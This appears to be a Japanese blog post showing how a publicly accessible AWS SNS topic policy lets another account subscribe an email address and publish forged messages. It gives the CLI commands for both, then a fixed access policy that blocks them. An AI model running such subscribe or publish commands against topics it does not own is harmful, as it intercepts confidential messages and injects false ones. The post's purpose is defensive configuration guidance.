はじめに
本記事ではAWS SNSの設定ミスとそれによって発生しうる攻撃、そしてその対策を記載します。
目次
いきなりまとめ
SNSトピックアクセスポリシーの設定を怠ると、第三者がメッセージを送受信できるようになってしまうので気を付けよう!
コード紹介
今回テーマとして取りあげるアーキテクチャはCDKで定義しています。Githubへのリンクを置いておくので気軽に検証にお使いください。SNSを1つ作成し、トピックポリシーをパブリックアクセス可能な設定にしている簡単なコードです。
アーキテクチャ紹介
今回の構成は以下の通りです。
攻撃者側のCloudShellからSNSを不正に操作し、サブスクライブの登録とメッセージの送受信を行います。
不正にパブリッシュとサブスクライブしてみる
では実際に不正な操作をしてみましょう。
攻撃者役として、SNSトピックを作成したアカウントとは別のアカウントのCloudShellを用います。
今回はSNSトピックのARNが漏洩しているor攻撃者がある程度推測できるという前提で進めます。
サブスクライブ
まずはサブスクライブ、つまりSNSメッセージ受け取りエンドポイントの設定です。攻撃者はこれを行うことで、SNSトピックを通る機密情報を不正に入手することができます。今回はメールアドレスをサブスクライブ設定します。
攻撃者側のCloudShellを開き、以下コマンドを入力します。
パラメータとしてトピックARNと通知先のメールアドレスを指定します。
$ aws sns subscribe --topic-arn arn:aws:sns:ap-northeast-1:XXXXXXXXXXXX:PublicSnsStack-SampleTopicXXXXXXXX-XXXXXXXXXXXX --protocol email --notification-endpoint XXXXXXXX@XXXXXXXXX
{
"SubscriptionArn": "pending confirmation"
}
すると以下のようなメールが届くのでConfirm subscriptionをクリックします。
ブラウザが開いて、サブスクリプションの確認ができたことが表示されます。
SNSのコンソールを開くと無事にサブスクライブされていることが分かります。
これで攻撃者は標的の業務上のメッセージを不正に取得できるようになりました。
パブリッシュ
続いてパブリッシュ、つまりSNSトピックにメッセージを送信してみます。攻撃者はこれを行うことでSNSトピックに対してDoS攻撃をしたり、偽のメッセージを送信することができます。
攻撃者側のCloudShellを開き、以下コマンドを入力します。
トピックARNを指定し、流したいメッセージをmessageに入力します。
$ aws sns publish --topic-arn arn:aws:sns:ap-northeast-1:XXXXXXXXXXXX:PublicSnsStack-SampleTopicXXXXXXXX-XXXXXXXXXXXX --message "Hacked!"
{
"MessageId": "6f9f8c90-351e-5f46-a78d-edecdbe7398a"
}
しばらくすると、先ほどサブスクライブしたメールアドレス宛にメールが届いているはずです。
これで攻撃者はSNSを経由して偽の情報を送信したり、DoS攻撃を仕掛けられるようになりました。
対策
ではここからはSNSトピックの設定ミスを是正しましょう。措置は基本的にサブスクライブ・パブリッシュで同様なのでまとめて対応します。
コンソールからであれば、以下のように設定を修正します。
Amazon SNS > トピック > PublicSnsStack-SampleTopicXXXXXXXX-XXXXXXXXXXXX > トピックの編集から、アクセスポリシーの編集を行います。
プリンシパルでSNSにアクセスできるAWSアカウントを制限しましょう。
{
"Version": "2008-10-17",
"Id": "__default_policy_ID",
"Statement": [
{
"Sid": "__default_statement_ID",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"SNS:Publish",
"SNS:RemovePermission",
"SNS:SetTopicAttributes",
"SNS:DeleteTopic",
"SNS:ListSubscriptionsByTopic",
"SNS:GetTopicAttributes",
"SNS:AddPermission",
"SNS:Subscribe"
],
"Resource": "arn:aws:sns:ap-northeast-1:XXXXXXXXXXXX:PublicSnsStack-SampleTopicXXXXXXXX-XXXXXXXXXXXX",
"Condition": {
"StringEquals": {
"AWS:SourceAccount": "XXXXXXXXXXXX"
}
}
},
{
"Sid": "__console_pub_0",
"Effect": "Allow",
"Principal": {
"AWS": [
"1111111111111",
"222222222222"
]
},
"Action": "SNS:Publish",
"Resource": "arn:aws:sns:ap-northeast-1:XXXXXXXXXXXX:PublicSnsStack-SampleTopicXXXXXXXX-XXXXXXXXXXXX"
},
{
"Sid": "__console_sub_0",
"Effect": "Allow",
"Principal": {
"AWS": [
"1111111111111",
"222222222222"
]
},
"Action": [
"SNS:Subscribe"
],
"Resource": "arn:aws:sns:ap-northeast-1:XXXXXXXXXXXX:PublicSnsStack-SampleTopicXXXXXXXX-XXXXXXXXXXXX"
}
]
}
ではこの状態で再度攻撃者アカウントからSNSにアクセスしてみましょう。
$ aws sns subscribe --topic-arn arn:aws:sns:ap-northeast-1:XXXXXXXXXXXX:PublicSnsStack-SampleTopicXXXXXXXx-XXXXXXXXXXXX --protocol email --notification-endpoint XXXXXXXXX@XXXXXXX
An error occurred (AuthorizationError) when calling the Subscribe operation: User: arn:aws:sts::XXXXXXXXXXXX:assumed-role/AWSReservedSSO_AWSAdministratorAccess_XXXXXXXXXXXXXXXX/XXXXXXXXX@XXXXXXX.com is not authorized to perform: SNS:Subscribe on resource: arn:aws:sns:ap-northeast-1:XXXXXXXXXXXX:PublicSnsStack-SampleTopicXXXXXXXx-XXXXXXXXXXXX because no resource-based policy allows the SNS:Subscribe action
トピックポリシーを設定したお陰でアクセスを拒否することができました!
最後に
ここまでアクセスポリシーに設定ミスがあるSNSトピックをテーマに、不正にメッセージを送受信する攻撃とその対策をまとめました。サーバレスアーキテクチャで出番の多いSNSの設定を見直し、セキュアな環境構築を意識しましょう。
この記事がどなたかの役に立てれば幸いです。




